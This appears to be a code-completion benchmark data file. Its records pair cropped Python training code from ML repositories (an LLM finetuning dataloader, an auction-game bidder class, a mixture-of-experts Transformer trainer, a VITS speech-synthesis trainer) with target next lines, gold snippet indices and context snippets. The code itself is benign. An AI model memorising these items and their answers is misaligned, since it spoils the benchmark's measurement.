tokenizer=tokenizer, local=cfg.dataset.local, remote=cfg.dataset.get('remote', None), split=cfg.dataset.get('split'), shuffle=cfg.dataset.get('shuffle', False), predownload=cfg.dataset.get('predownload', 100_000), keep_zip=cfg.dataset.get('keep_zip', False), download_retry=cfg.dataset.get('download_retry', 2), download_timeout=cfg.dataset.get('download_timeout', 60), validate_hash=cfg.dataset.get('validate_hash', None), shuffle_seed=cfg.dataset.get('shuffle_seed', 9176), num_canonical_nodes=cfg.dataset.get('num_canonical_nodes', 128), batch_size=device_batch_size, ) collate_fn, dataloader_batch_size = _build_collate_fn( cfg.dataset, tokenizer, device_batch_size) return DataLoader( dataset, collate_fn=collate_fn, batch_size=dataloader_batch_size, drop_last=cfg.drop_last, num_workers=cfg.num_workers, pin_memory=cfg.get('pin_memory', True), prefetch_factor=cfg.get('prefetch_factor', 2), persistent_workers=cfg.get('persistent_workers', True), timeout=cfg.get('timeout', 0), ) else: backend, _, _ = parse_uri(cfg.dataset.hf_name) if backend not in ['', None]: if cfg.dataset.get('split') is None: raise ValueError( 'When using a HuggingFace dataset from a URL, you must set the ' + \ '`split` key in the dataset config.' ) dataset = _build_hf_dataset_from_remote(cfg, tokenizer) else: dataset = dataset_constructor.build_from_hf( cfg.dataset, max_seq_len=cfg.dataset.max_seq_len, tokenizer=tokenizer, ) collate_fn, dataloader_batch_size = _build_collate_fn( cfg.dataset, tokenizer, device_batch_size) assert dataset is not None return DataLoader( dataset, collate_fn=collate_fn, batch_size=dataloader_batch_size, sampler=dist.get_sampler(dataset, drop_last=cfg.drop_last, shuffle=cfg.dataset.shuffle), num_workers=cfg.num_workers, pin_memory=cfg.get('pin_memory', True), prefetch_factor=cfg.get('prefetch_factor', 2), persistent_workers=cfg.get('persistent_workers', True), timeout=cfg.get('timeout', 0), ) def _validate_config(dataset_cfg: DictConfig): """Validates the dataset configuration. Makes sure that the dataset is properly configured for either a HuggingFace dataset or a streaming dataset. Must be valid for one or the other. Args: dataset_cfg (DictConfig): The dataset configuration to be validated. Raises: ValueError: If the dataset configuration does not meet the requirements. """ if dataset_cfg.get('hf_name') is not None: # Using the HuggingFace dataset codepath illegal_keys = ['local', 'remote'] discovered_illegal_keys = [] for key in illegal_keys: if dataset_cfg.get(key) is not None: discovered_illegal_keys.append('`' + key + '`') if discovered_illegal_keys: raise ValueError( 'The dataset config sets a value for `hf_name` as well as the ' +\ f'following keys: {", ".join(discovered_illegal_keys)}.\n' +\ 'Those keys are used when building from a streaming dataset, but ' +\ 'setting `hf_name` instructs the dataset to build from a HuggingFace dataset.' ) elif dataset_cfg.get('remote') is not None: # Using the streaming dataset codepath illegal_keys = ['hf_name', 'hf_kwargs', 'preprocessing_fn'] discovered_illegal_keys = [] for key in illegal_keys: if dataset_cfg.get(key) is not None: discovered_illegal_keys.append('`' + key + '`') if discovered_illegal_keys: raise ValueError( 'The dataset config sets a value for `remote` as well as the ' +\ f'following keys: {", ".join(discovered_illegal_keys)}.\n' +\ 'Those keys are used when building from a HuggingFace dataset, but ' +\ 'setting `remote` instructs the dataset to build from a streaming dataset.' ) if dataset_cfg.get('local') is None: raise ValueError( 'Using a streaming dataset requires setting both `remote` and `local`, ' +\ 'but dataset.local is None.' ) else: raise ValueError( 'In the dataset config, you must set either `hf_name` to use a ' +\ 'HuggingFace dataset or set `remote` to use a streaming ' +\ 'dataset, but both were None.' ) def _build_hf_dataset_from_remote(cfg: DictConfig, tokenizer: PreTrainedTokenizerBase): """Builds a dataset from a remote object store. This function supports 'jsonl', 'csv', and 'parquet' file formats for the dataset. It will attempt to download the dataset, then once it is downloaded, convert it into HuggingFace ``datasets`` format, and then return this dataset. The function also ensures synchronicity across multiple processes during the file download. It creates a signal file that is used to synchronize the start of the download across different processes. Once the download is completed, the function removes the signal file. Args: cfg (DictConfig): The configuration dictionary containing the necessary parameters to load the dataset. This includes: - dataset.hf_name: The path of the HuggingFace dataset to download. - dataset.split: The dataset split to download (e.g., 'train', 'validation', 'test'). - dataset.max_seq_len: The maximum sequence length for tokenizing the dataset. tokenizer (Tokenizer): The tokenizer to be used to tokenize the dataset. Returns: Dataset: A HuggingFace dataset built from the remote file, prepared and tokenized for fine-tuning the model. Raises: FileNotFoundError: Raised if the dataset file cannot be found with any of the supported extensions. """ supported_extensions = ['jsonl', 'csv', 'parquet'] finetune_dir = os.path.join( os.path.dirname(os.path.realpath(__file__)), f'downloaded_finetuning_data/{cfg.dataset.split}') os.makedirs(finetune_dir, exist_ok=True) for extension in supported_extensions: name = f'{cfg.dataset.hf_name.strip("/")}/{cfg.dataset.split}.{extension}' destination = str( os.path.abspath(f'{finetune_dir}/{cfg.dataset.split}.{extension}')) # Since we don't know exactly what the extension will be, since it is one of a list # use a signal file to wait for instead of the desired file signal_file_path = os.path.join(finetune_dir, '.the_eagle_has_landed') if dist.get_local_rank() == 0: try: get_file(name, destination, overwrite=True) except FileNotFoundError as e: if extension == supported_extensions[-1]: raise FileNotFoundError( f'Could not find a {cfg.dataset.split} file with any of ' + \ f'the supported extensions: {supported_extensions}\n' + \ f'at {cfg.dataset.hf_name}/{cfg.dataset.split}' ) from e else: print( f'Could not find {name}, looking for another extension') continue os.makedirs(os.path.dirname(signal_file_path), exist_ok=True) with open(signal_file_path, 'wb') as f: f.write(b'local_rank0_completed_download') # Avoid the collective call until the local rank zero has finished trying to download the checkpoint # so that we don't timeout for large downloads. This syncs all processes on the node with dist.local_rank_zero_download_and_wait(signal_file_path): # Then, wait to ensure every node has finished downloading the checkpoint dist.barrier() # clean up signal file if dist.get_local_rank() == 0: os.remove(signal_file_path) dist.barrier() cfg.dataset.hf_name = finetune_dir print(cfg.dataset) dataset = dataset_constructor.build_from_hf( cfg.dataset, max_seq_len=cfg.dataset.max_seq_len, tokenizer=tokenizer, ) return dataset def _build_collate_fn(dataset_cfg: DictConfig, tokenizer: PreTrainedTokenizerBase, device_batch_size: int):
collate_fn = Seq2SeqFinetuningCollator(
0
2023-10-09 15:32:15+00:00
12k
jiangjiechen/auction-arena
src/human_bidder.py
[ { "identifier": "Bidder", "path": "src/bidder_base.py", "snippet": "class Bidder(BaseModel):\n name: str\n model_name: str \n budget: int \n desire: str\n plan_strategy: str\n temperature: float = 0.7\n overestimate_percent: int = 10\n correct_belief: bool\n enable_learning: b...
from typing import List from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) from .bidder_base import Bidder, draw_plot from .item_base import Item from langchain.input import get_colored_text import time
9,915
class HumanBidder(Bidder): name: str human_name: str = "Adam" budget: int auction_hash: str cur_item_id = 0 items: list = [] withdraw: bool = False engagement_count: int = 0 original_budget: int = 0 profit: int = 0 items_won = [] all_bidders_status = {} # track others' profit # essential for demo need_input: bool = False semaphore: int = 0 # if needs input, then semaphore is set as 1, else waits. input_box: str = None # global variable for accepting user input # not used model_name: str = 'human' openai_cost = 0 desire = '' plan_strategy = '' correct_belief = True class Config: arbitrary_types_allowed = True
class HumanBidder(Bidder): name: str human_name: str = "Adam" budget: int auction_hash: str cur_item_id = 0 items: list = [] withdraw: bool = False engagement_count: int = 0 original_budget: int = 0 profit: int = 0 items_won = [] all_bidders_status = {} # track others' profit # essential for demo need_input: bool = False semaphore: int = 0 # if needs input, then semaphore is set as 1, else waits. input_box: str = None # global variable for accepting user input # not used model_name: str = 'human' openai_cost = 0 desire = '' plan_strategy = '' correct_belief = True class Config: arbitrary_types_allowed = True
def get_plan_instruct(self, items: List[Item]):
2
2023-10-08 09:30:57+00:00
12k
giangdip2410/HyperRouter
train.py
[ { "identifier": "get_lm_corpus", "path": "data_utils.py", "snippet": "def get_lm_corpus(datadir, dataset):\n\n fn = os.path.join(datadir, 'cache.pt')\n if os.path.exists(fn):\n print('Loading cached dataset...')\n corpus = torch.load(fn)\n else:\n print('Producing dataset {...
import argparse import time import math import os, sys import itertools import copy import pdb import numpy as np import torch import torch.nn as nn import torch.optim as optim import warnings from data_utils import get_lm_corpus from mem_transformer import MemTransformerLM from utils.exp_utils import create_exp_dir from utils.data_parallel import BalancedDataParallel from fmoe.gates.base_gate import BaseGate from custom_gate import CustomNaiveGate_Balance from new_utils import * from apex.fp16_utils import FP16_Optimizer
8,039
cutoffs, tie_projs = [], [False] if args.adaptive: assert args.dataset in ['wt103', 'lm1b'] if args.dataset == 'wt103': cutoffs = [20000, 40000, 200000] tie_projs += [True] * len(cutoffs) elif args.dataset == 'lm1b': cutoffs = [60000, 100000, 640000] tie_projs += [False] * len(cutoffs) ############################################################################### # Build the model ############################################################################### def init_weight(weight): if args.init == 'uniform': nn.init.uniform_(weight, -args.init_range, args.init_range) elif args.init == 'normal': nn.init.normal_(weight, 0.0, args.init_std) def init_bias(bias): nn.init.constant_(bias, 0.0) def weights_init(m): classname = m.__class__.__name__ if classname.find('Linear') != -1: if hasattr(m, 'weight') and m.weight is not None: init_weight(m.weight) if hasattr(m, 'bias') and m.bias is not None: init_bias(m.bias) elif classname.find('AdaptiveEmbedding') != -1: if hasattr(m, 'emb_projs'): for i in range(len(m.emb_projs)): if m.emb_projs[i] is not None: nn.init.normal_(m.emb_projs[i], 0.0, args.proj_init_std) elif classname.find('Embedding') != -1: if hasattr(m, 'weight'): init_weight(m.weight) elif classname.find('ProjectedAdaptiveLogSoftmax') != -1: if hasattr(m, 'cluster_weight') and m.cluster_weight is not None: init_weight(m.cluster_weight) if hasattr(m, 'cluster_bias') and m.cluster_bias is not None: init_bias(m.cluster_bias) if hasattr(m, 'out_projs'): for i in range(len(m.out_projs)): if m.out_projs[i] is not None: nn.init.normal_(m.out_projs[i], 0.0, args.proj_init_std) elif classname.find('LayerNorm') != -1: if hasattr(m, 'weight'): nn.init.normal_(m.weight, 1.0, args.init_std) if hasattr(m, 'bias') and m.bias is not None: init_bias(m.bias) elif classname.find('TransformerLM') != -1: if hasattr(m, 'r_emb'): init_weight(m.r_emb) if hasattr(m, 'r_w_bias'): init_weight(m.r_w_bias) if hasattr(m, 'r_r_bias'): init_weight(m.r_r_bias) if hasattr(m, 'r_bias'): init_bias(m.r_bias) def update_dropout(m): classname = m.__class__.__name__ if classname.find('Dropout') != -1: if hasattr(m, 'p'): m.p = args.dropout def update_dropatt(m): if hasattr(m, 'dropatt'): m.dropatt.p = args.dropatt if args.moe_index is not None: moe_index = list(map(int, args.moe_index.split(','))) else: moe_index = None if args.restart: with open(os.path.join(args.restart_dir, 'model.pt'), 'rb') as f: model = torch.load(f) if not args.fp16: model = model.float() model.apply(update_dropout) model.apply(update_dropatt) else: model = MemTransformerLM(ntokens, args.n_layer, args.n_head, args.d_model, args.d_head, args.d_inner, args.dropout, args.dropatt, tie_weight=args.tied, d_embed=args.d_embed, div_val=args.div_val, tie_projs=tie_projs, pre_lnorm=args.pre_lnorm, tgt_len=args.tgt_len, ext_len=args.ext_len, mem_len=args.mem_len, cutoffs=cutoffs, same_length=args.same_length, attn_type=args.attn_type, clamp_len=args.clamp_len, sample_softmax=args.sample_softmax, moe=args.moe, moe_num_expert=args.moe_num_expert, moe_top_k=args.moe_top_k, gate_name=args.gate_name, moe_index=moe_index, dense_drop=args.dense_drop, expert_drop=args.expert_drop, num_expert=args.num_expert, attn_moe=args.attn_moe) model.apply(weights_init) model.word_emb.apply(weights_init) # ensure embedding init is not overridden by out_layer in case of weight sharing args.n_all_param = sum([p.nelement() for p in model.parameters()]) args.n_nonemb_param = sum([p.nelement() for p in model.layers.parameters()]) # for Dense to Sparse Method set_threshold(model, args) freeze_part_weight(model, args) print(model) # freeze HyperNetwork if args.gate_name == 'HyperRouterGate': for name, param in model.named_parameters(): if param.requires_grad: if 'hypernet' in name: param.requires_grad = False # number of parameters print("Total of Prams: ", sum(p.numel() for p in model.parameters())) print("Total of Trainable Prams: ", sum(p.numel() for p in model.parameters() if p.requires_grad)) if args.fp16: model = model.half() if args.multi_gpu: model = model.to(device) if args.gpu0_bsz >= 0:
# coding: utf-8 warnings.filterwarnings(action= 'ignore') parser = argparse.ArgumentParser(description='PyTorch Transformer Language Model') parser.add_argument('--data', type=str, default='../data/wikitext-103', help='location of the data corpus') parser.add_argument('--dataset', type=str, default='wt103', choices=['wt103', 'lm1b', 'enwik8', 'text8'], help='dataset name') parser.add_argument('--n_layer', type=int, default=12, help='number of total layers') parser.add_argument('--n_head', type=int, default=10, help='number of heads') parser.add_argument('--d_head', type=int, default=50, help='head dimension') parser.add_argument('--d_embed', type=int, default=-1, help='embedding dimension') parser.add_argument('--d_model', type=int, default=500, help='model dimension') parser.add_argument('--d_inner', type=int, default=1000, help='inner dimension in FF') parser.add_argument('--load_balance', type=float, default=0) parser.add_argument('--dropout', type=float, default=0.0, help='global dropout rate') parser.add_argument('--dropatt', type=float, default=0.0, help='attention probability dropout rate') parser.add_argument('--init', default='normal', type=str, help='parameter initializer to use.') parser.add_argument('--emb_init', default='normal', type=str, help='parameter initializer to use.') parser.add_argument('--init_range', type=float, default=0.1, help='parameters initialized by U(-init_range, init_range)') parser.add_argument('--emb_init_range', type=float, default=0.01, help='parameters initialized by U(-init_range, init_range)') parser.add_argument('--init_std', type=float, default=0.02, help='parameters initialized by N(0, init_std)') parser.add_argument('--proj_init_std', type=float, default=0.01, help='parameters initialized by N(0, init_std)') parser.add_argument('--optim', default='adam', type=str, choices=['adam', 'sgd', 'adagrad'], help='optimizer to use.') parser.add_argument('--lr', type=float, default=0.00025, help='initial learning rate (0.00025|5 for adam|sgd)') parser.add_argument('--mom', type=float, default=0.0, help='momentum for sgd') parser.add_argument('--scheduler', default='cosine', type=str, choices=['cosine', 'inv_sqrt', 'dev_perf', 'constant'], help='lr scheduler to use.') parser.add_argument('--warmup_step', type=int, default=0, help='upper epoch limit') parser.add_argument('--decay_rate', type=float, default=0.5, help='decay factor when ReduceLROnPlateau is used') parser.add_argument('--lr_min', type=float, default=0.0, help='minimum learning rate during annealing') parser.add_argument('--clip', type=float, default=0.25, help='gradient clipping') parser.add_argument('--clip_nonemb', action='store_true', help='only clip the gradient of non-embedding params') parser.add_argument('--max_step', type=int, default=100000, help='upper epoch limit') parser.add_argument('--batch_size', type=int, default=60, help='batch size') parser.add_argument('--batch_chunk', type=int, default=1, help='split batch into chunks to save memory') parser.add_argument('--tgt_len', type=int, default=70, help='number of tokens to predict') parser.add_argument('--eval_tgt_len', type=int, default=50, help='number of tokens to predict for evaluation') parser.add_argument('--ext_len', type=int, default=0, help='length of the extended context') parser.add_argument('--mem_len', type=int, default=0, help='length of the retained previous heads') parser.add_argument('--not_tied', action='store_true', help='do not tie the word embedding and softmax weights') parser.add_argument('--seed', type=int, default=1111, help='random seed') parser.add_argument('--cuda', action='store_true', help='use CUDA') parser.add_argument('--adaptive', action='store_true', help='use adaptive softmax') parser.add_argument('--div_val', type=int, default=1, help='divident value for adapative input and softmax') parser.add_argument('--pre_lnorm', action='store_true', help='apply LayerNorm to the input instead of the output') parser.add_argument('--varlen', action='store_true', help='use variable length') parser.add_argument('--multi_gpu', action='store_true', help='use multiple GPU') parser.add_argument('--log-interval', type=int, default=200, help='report interval') parser.add_argument('--eval-interval', type=int, default=4000, help='evaluation interval') parser.add_argument('--work_dir', default='LM-TFM', type=str, help='experiment directory.') parser.add_argument('--restart', action='store_true', help='restart training from the saved checkpoint') parser.add_argument('--restart_dir', type=str, default='', help='restart dir') parser.add_argument('--debug', action='store_true', help='run in debug mode (do not create exp dir)') parser.add_argument('--same_length', action='store_true', help='use the same attn length for all tokens') parser.add_argument('--attn_type', type=int, default=0, help='attention type. 0 for ours, 1 for Shaw et al,' '2 for Vaswani et al, 3 for Al Rfou et al.') parser.add_argument('--clamp_len', type=int, default=-1, help='use the same pos embeddings after clamp_len') parser.add_argument('--eta_min', type=float, default=0.0, help='min learning rate for cosine scheduler') parser.add_argument('--gpu0_bsz', type=int, default=-1, help='batch size on gpu 0') parser.add_argument('--max_eval_steps', type=int, default=-1, help='max eval steps') parser.add_argument('--sample_softmax', type=int, default=-1, help='number of samples in sampled softmax') parser.add_argument('--patience', type=int, default=0, help='patience') parser.add_argument('--finetune_v2', action='store_true', help='finetune v2') parser.add_argument('--finetune_v3', action='store_true', help='finetune v3') parser.add_argument('--fp16', action='store_true', help='Run in pseudo-fp16 mode (fp16 storage fp32 math).') parser.add_argument('--static-loss-scale', type=float, default=1, help='Static loss scale, positive power of 2 values can ' 'improve fp16 convergence.') parser.add_argument('--dynamic-loss-scale', action='store_true', help='Use dynamic loss scaling. If supplied, this argument' ' supersedes --static-loss-scale.') parser.add_argument('--moe', action='store_true', help='replace position-wise ffn with moe position-wise ffn') parser.add_argument('--attn_moe', action='store_true') parser.add_argument('--moe-num-expert', type=int, default=64, help='number of experts in MoE') parser.add_argument('--moe-top-k', type=int, default=2, help='top_k experts in hard gate of moe') ## other settings parser.add_argument('--gate_name', type=str, default='NaiveGate', help='Router Type') parser.add_argument('--hyper_size', type=int, default=None, help='Hiden size of hyper router') parser.add_argument('--moe_index', type=str, default=None, help='MoE Index') ## Random Weight parser.add_argument('--freeze_gate', action='store_true') parser.add_argument('--freeze_main_network', action='store_true') parser.add_argument('--freeze_main_network_all', action='store_true') ## Gradually adjust Top-K number during training parser.add_argument('--dynamic_moe', action='store_true', help='dynamic change moe top-k') parser.add_argument('--dynamic_moe_mode', type=str, default='linear_increase') parser.add_argument('--dynamic_overall_steps', type=int, default=-1) parser.add_argument('--moe-top-k-min', type=int, default=2) parser.add_argument('--moe-top-k-max', type=int, default=16) ## Dense to Sparse parser.add_argument('--min_temp', type=int, default=0.3) parser.add_argument('--max_temp', type=int, default=2) parser.add_argument('--threshold', type=int, default=0.001) ## Dense Dropout parser.add_argument('--dense_drop', action='store_true') parser.add_argument('--expert_drop', type=float, default=0.5) parser.add_argument('--num_expert', type=int, default=64) ## SWAD/SWA parser.add_argument('--swad', action='store_true') parser.add_argument('--swad_start', type=int, default=0) parser.add_argument('--swad_end', type=int, default=400000) ## Dynamic Routing parser.add_argument('--dynamic_router_start', type=int, default=-1) args = parser.parse_args() args.tied = not args.not_tied assert args.moe_num_expert >= args.moe_top_k, "must have moe-num-expert >= moe-top_k" if args.d_embed < 0: args.d_embed = args.d_model assert args.ext_len >= 0, 'extended context length must be non-negative' assert args.batch_size % args.batch_chunk == 0 args.work_dir = '{}-{}'.format(args.work_dir, args.dataset) args.work_dir = os.path.join(args.work_dir, time.strftime('%Y%m%d-%H%M%S')) logging = create_exp_dir(args.work_dir, scripts_to_save=['train.py', 'mem_transformer.py'], debug=args.debug) # Set the random seed manually for reproducibility. np.random.seed(args.seed) torch.manual_seed(args.seed) if torch.cuda.is_available(): if not args.cuda: print('WARNING: You have a CUDA device, so you should probably run with --cuda') else: torch.cuda.manual_seed_all(args.seed) # Validate `--fp16` option if args.fp16: if not args.cuda: print('WARNING: --fp16 requires --cuda, ignoring --fp16 option') args.fp16 = False else: try: except: print('WARNING: apex not installed, ignoring --fp16 option') args.fp16 = False device = torch.device('cuda' if args.cuda else 'cpu') ############################################################################### # Load data ############################################################################### corpus = get_lm_corpus(args.data, args.dataset) ntokens = len(corpus.vocab) args.n_token = ntokens eval_batch_size = 10 tr_iter = corpus.get_iterator('train', args.batch_size, args.tgt_len, device=device, ext_len=args.ext_len) va_iter = corpus.get_iterator('valid', eval_batch_size, args.eval_tgt_len, device=device, ext_len=args.ext_len) te_iter = corpus.get_iterator('test', eval_batch_size, args.eval_tgt_len, device=device, ext_len=args.ext_len) # adaptive softmax / embedding cutoffs, tie_projs = [], [False] if args.adaptive: assert args.dataset in ['wt103', 'lm1b'] if args.dataset == 'wt103': cutoffs = [20000, 40000, 200000] tie_projs += [True] * len(cutoffs) elif args.dataset == 'lm1b': cutoffs = [60000, 100000, 640000] tie_projs += [False] * len(cutoffs) ############################################################################### # Build the model ############################################################################### def init_weight(weight): if args.init == 'uniform': nn.init.uniform_(weight, -args.init_range, args.init_range) elif args.init == 'normal': nn.init.normal_(weight, 0.0, args.init_std) def init_bias(bias): nn.init.constant_(bias, 0.0) def weights_init(m): classname = m.__class__.__name__ if classname.find('Linear') != -1: if hasattr(m, 'weight') and m.weight is not None: init_weight(m.weight) if hasattr(m, 'bias') and m.bias is not None: init_bias(m.bias) elif classname.find('AdaptiveEmbedding') != -1: if hasattr(m, 'emb_projs'): for i in range(len(m.emb_projs)): if m.emb_projs[i] is not None: nn.init.normal_(m.emb_projs[i], 0.0, args.proj_init_std) elif classname.find('Embedding') != -1: if hasattr(m, 'weight'): init_weight(m.weight) elif classname.find('ProjectedAdaptiveLogSoftmax') != -1: if hasattr(m, 'cluster_weight') and m.cluster_weight is not None: init_weight(m.cluster_weight) if hasattr(m, 'cluster_bias') and m.cluster_bias is not None: init_bias(m.cluster_bias) if hasattr(m, 'out_projs'): for i in range(len(m.out_projs)): if m.out_projs[i] is not None: nn.init.normal_(m.out_projs[i], 0.0, args.proj_init_std) elif classname.find('LayerNorm') != -1: if hasattr(m, 'weight'): nn.init.normal_(m.weight, 1.0, args.init_std) if hasattr(m, 'bias') and m.bias is not None: init_bias(m.bias) elif classname.find('TransformerLM') != -1: if hasattr(m, 'r_emb'): init_weight(m.r_emb) if hasattr(m, 'r_w_bias'): init_weight(m.r_w_bias) if hasattr(m, 'r_r_bias'): init_weight(m.r_r_bias) if hasattr(m, 'r_bias'): init_bias(m.r_bias) def update_dropout(m): classname = m.__class__.__name__ if classname.find('Dropout') != -1: if hasattr(m, 'p'): m.p = args.dropout def update_dropatt(m): if hasattr(m, 'dropatt'): m.dropatt.p = args.dropatt if args.moe_index is not None: moe_index = list(map(int, args.moe_index.split(','))) else: moe_index = None if args.restart: with open(os.path.join(args.restart_dir, 'model.pt'), 'rb') as f: model = torch.load(f) if not args.fp16: model = model.float() model.apply(update_dropout) model.apply(update_dropatt) else: model = MemTransformerLM(ntokens, args.n_layer, args.n_head, args.d_model, args.d_head, args.d_inner, args.dropout, args.dropatt, tie_weight=args.tied, d_embed=args.d_embed, div_val=args.div_val, tie_projs=tie_projs, pre_lnorm=args.pre_lnorm, tgt_len=args.tgt_len, ext_len=args.ext_len, mem_len=args.mem_len, cutoffs=cutoffs, same_length=args.same_length, attn_type=args.attn_type, clamp_len=args.clamp_len, sample_softmax=args.sample_softmax, moe=args.moe, moe_num_expert=args.moe_num_expert, moe_top_k=args.moe_top_k, gate_name=args.gate_name, moe_index=moe_index, dense_drop=args.dense_drop, expert_drop=args.expert_drop, num_expert=args.num_expert, attn_moe=args.attn_moe) model.apply(weights_init) model.word_emb.apply(weights_init) # ensure embedding init is not overridden by out_layer in case of weight sharing args.n_all_param = sum([p.nelement() for p in model.parameters()]) args.n_nonemb_param = sum([p.nelement() for p in model.layers.parameters()]) # for Dense to Sparse Method set_threshold(model, args) freeze_part_weight(model, args) print(model) # freeze HyperNetwork if args.gate_name == 'HyperRouterGate': for name, param in model.named_parameters(): if param.requires_grad: if 'hypernet' in name: param.requires_grad = False # number of parameters print("Total of Prams: ", sum(p.numel() for p in model.parameters())) print("Total of Trainable Prams: ", sum(p.numel() for p in model.parameters() if p.requires_grad)) if args.fp16: model = model.half() if args.multi_gpu: model = model.to(device) if args.gpu0_bsz >= 0:
para_model = BalancedDataParallel(args.gpu0_bsz // args.batch_chunk,
3
2023-10-09 06:35:57+00:00
12k
SH1ROd/Bert-VITS2-Integration-train-txt-infer
train_ms.py
[ { "identifier": "TextAudioSpeakerLoader", "path": "data_utils.py", "snippet": "class TextAudioSpeakerLoader(torch.utils.data.Dataset):\n \"\"\"\n 1) loads audio, speaker_id, text pairs\n 2) normalizes text and converts them to sequences of integers\n 3) computes spectrograms from...
import os import json import argparse import itertools import math import torch import shutil import torch.multiprocessing as mp import torch.distributed as dist import logging import commons import utils from torch import nn, optim from torch.nn import functional as F from torch.utils.data import DataLoader from torch.utils.tensorboard import SummaryWriter from torch.nn.parallel import DistributedDataParallel as DDP from torch.cuda.amp import autocast, GradScaler from tqdm import tqdm from data_utils import ( TextAudioSpeakerLoader, TextAudioSpeakerCollate, DistributedBucketSampler ) from models import ( SynthesizerTrn, MultiPeriodDiscriminator, DurationDiscriminator, ) from losses import ( generator_loss, discriminator_loss, feature_loss, kl_loss ) from mel_processing import mel_spectrogram_torch, spec_to_mel_torch from text.symbols import symbols
10,518
optim_g = torch.optim.AdamW( filter(lambda p: p.requires_grad, net_g.parameters()), hps.train.learning_rate, betas=hps.train.betas, eps=hps.train.eps) optim_d = torch.optim.AdamW( net_d.parameters(), hps.train.learning_rate, betas=hps.train.betas, eps=hps.train.eps) if net_dur_disc is not None: optim_dur_disc = torch.optim.AdamW( net_dur_disc.parameters(), hps.train.learning_rate, betas=hps.train.betas, eps=hps.train.eps) else: optim_dur_disc = None net_g = DDP(net_g, device_ids=[rank], find_unused_parameters=True) net_d = DDP(net_d, device_ids=[rank], find_unused_parameters=True) if net_dur_disc is not None: net_dur_disc = DDP(net_dur_disc, device_ids=[rank], find_unused_parameters=True) pretrain_dir = None if pretrain_dir is None: try: if net_dur_disc is not None: _, optim_dur_disc, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "DUR_*.pth"), net_dur_disc, optim_dur_disc, skip_optimizer=not hps.cont) _, optim_g, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "G_*.pth"), net_g, optim_g, skip_optimizer=not hps.cont) _, optim_d, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "D_*.pth"), net_d, optim_d, skip_optimizer=not hps.cont) epoch_str = max(epoch_str, 1) global_step = (epoch_str - 1) * len(train_loader) except Exception as e: print(e) epoch_str = 1 global_step = 0 else: _, _, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(pretrain_dir, "G_*.pth"), net_g, optim_g, True) _, _, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(pretrain_dir, "D_*.pth"), net_d, optim_d, True) scheduler_g = torch.optim.lr_scheduler.ExponentialLR(optim_g, gamma=hps.train.lr_decay, last_epoch=epoch_str - 2) scheduler_d = torch.optim.lr_scheduler.ExponentialLR(optim_d, gamma=hps.train.lr_decay, last_epoch=epoch_str - 2) if net_dur_disc is not None: scheduler_dur_disc = torch.optim.lr_scheduler.ExponentialLR(optim_dur_disc, gamma=hps.train.lr_decay, last_epoch=epoch_str-2) else: scheduler_dur_disc = None scaler = GradScaler(enabled=hps.train.fp16_run) for epoch in range(epoch_str, hps.train.epochs + 1): if rank == 0: train_and_evaluate(rank, epoch, hps, [net_g, net_d, net_dur_disc], [optim_g, optim_d, optim_dur_disc], [scheduler_g, scheduler_d, scheduler_dur_disc], scaler, [train_loader, eval_loader], logger, [writer, writer_eval],role=role) else: train_and_evaluate(rank, epoch, hps, [net_g, net_d, net_dur_disc], [optim_g, optim_d, optim_dur_disc], [scheduler_g, scheduler_d, scheduler_dur_disc], scaler, [train_loader, None], None, None, role=role) scheduler_g.step() scheduler_d.step() if net_dur_disc is not None: scheduler_dur_disc.step() def train_and_evaluate(rank, epoch, hps, nets, optims, schedulers, scaler, loaders, logger, writers, role): net_g, net_d, net_dur_disc = nets optim_g, optim_d, optim_dur_disc = optims scheduler_g, scheduler_d, scheduler_dur_disc = schedulers train_loader, eval_loader = loaders if writers is not None: writer, writer_eval = writers train_loader.batch_sampler.set_epoch(epoch) global global_step net_g.train() net_d.train() if net_dur_disc is not None: net_dur_disc.train() for batch_idx, (x, x_lengths, spec, spec_lengths, y, y_lengths, speakers, tone, language, bert) in tqdm(enumerate(train_loader)): if net_g.module.use_noise_scaled_mas: current_mas_noise_scale = net_g.module.mas_noise_scale_initial - net_g.module.noise_scale_delta * global_step net_g.module.current_mas_noise_scale = max(current_mas_noise_scale, 0.0) x, x_lengths = x.cuda(rank, non_blocking=True), x_lengths.cuda(rank, non_blocking=True) spec, spec_lengths = spec.cuda(rank, non_blocking=True), spec_lengths.cuda(rank, non_blocking=True) y, y_lengths = y.cuda(rank, non_blocking=True), y_lengths.cuda(rank, non_blocking=True) speakers = speakers.cuda(rank, non_blocking=True) tone = tone.cuda(rank, non_blocking=True) language = language.cuda(rank, non_blocking=True) bert = bert.cuda(rank, non_blocking=True) with autocast(enabled=hps.train.fp16_run): y_hat, l_length, attn, ids_slice, x_mask, z_mask, \ (z, z_p, m_p, logs_p, m_q, logs_q), (hidden_x, logw, logw_) = net_g(x, x_lengths, spec, spec_lengths, speakers, tone, language, bert) mel = spec_to_mel_torch( spec, hps.data.filter_length, hps.data.n_mel_channels, hps.data.sampling_rate, hps.data.mel_fmin, hps.data.mel_fmax) y_mel = commons.slice_segments(mel, ids_slice, hps.train.segment_size // hps.data.hop_length) y_hat_mel = mel_spectrogram_torch( y_hat.squeeze(1), hps.data.filter_length, hps.data.n_mel_channels, hps.data.sampling_rate, hps.data.hop_length, hps.data.win_length, hps.data.mel_fmin, hps.data.mel_fmax ) y = commons.slice_segments(y, ids_slice * hps.data.hop_length, hps.train.segment_size) # slice # Discriminator y_d_hat_r, y_d_hat_g, _, _ = net_d(y, y_hat.detach()) with autocast(enabled=False):
